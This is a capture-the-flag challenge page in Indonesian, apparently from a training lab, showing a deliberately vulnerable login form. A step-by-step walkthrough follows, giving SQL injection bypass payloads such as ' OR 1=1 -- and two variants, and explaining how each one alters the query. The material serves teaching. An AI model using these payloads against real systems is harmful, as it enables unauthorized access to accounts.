JCC Challenge 1

Login Bypass SQLi

Form login ini sengaja dibuat rentan. Coba bypass authentication menggunakan SQL injection.

Clue:
  • Input dipakai langsung ke query SQL
  • Login check cuma ngebaca hasil query
  • Coba pikirin pola bypass klasik
Status
Masuk dulu, coba tebak password admin.
Simulated query
SELECT * FROM users WHERE username = ? AND password = ?

📚 Tutorial & Walkthrough

1Pahami Vulnerability
Form login ini vulnerable karena input username dan password langsung digabungkan ke dalam SQL query tanpa sanitasi.
SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'
2Konsep SQL Injection
Kita bisa "menutup" string dengan tanda kutip single (') dan menambahkan kondisi SQL sendiri.
Tujuan:
Buat query yang selalu return TRUE, sehingga login berhasil tanpa password yang benar.
3Payload Bypass
Gunakan payload berikut di field Username:
' OR 1=1 --
Penjelasan:
' - Menutup string username
OR 1=1 - Kondisi yang selalu TRUE
-- - Comment, mengabaikan sisa query (password check)
4Eksekusi
  1. Isi Username: ' OR 1=1 --
  2. Isi Password: apa aja (bebas)
  3. Klik tombol Login
Hasil:
Query jadi: SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '...'

Karena 1=1 selalu TRUE, query return semua user, dan login berhasil!
5Variasi Payload
Kalau payload di atas nggak work, coba variasi ini:
' OR '1'='1
' OR '1'='1' --
Tips:
Setiap aplikasi punya filter yang berbeda. Eksperimen dengan variasi payload untuk menemukan yang work.
6Flag & Completion
Kalau berhasil bypass, status akan berubah jadi:
✅ Login sukses! Halo admin.
Selamat!
Kamu berhasil menyelesaikan challenge SQL Injection Login Bypass. Ini adalah vulnerability paling klasik dan sering muncul di CTF.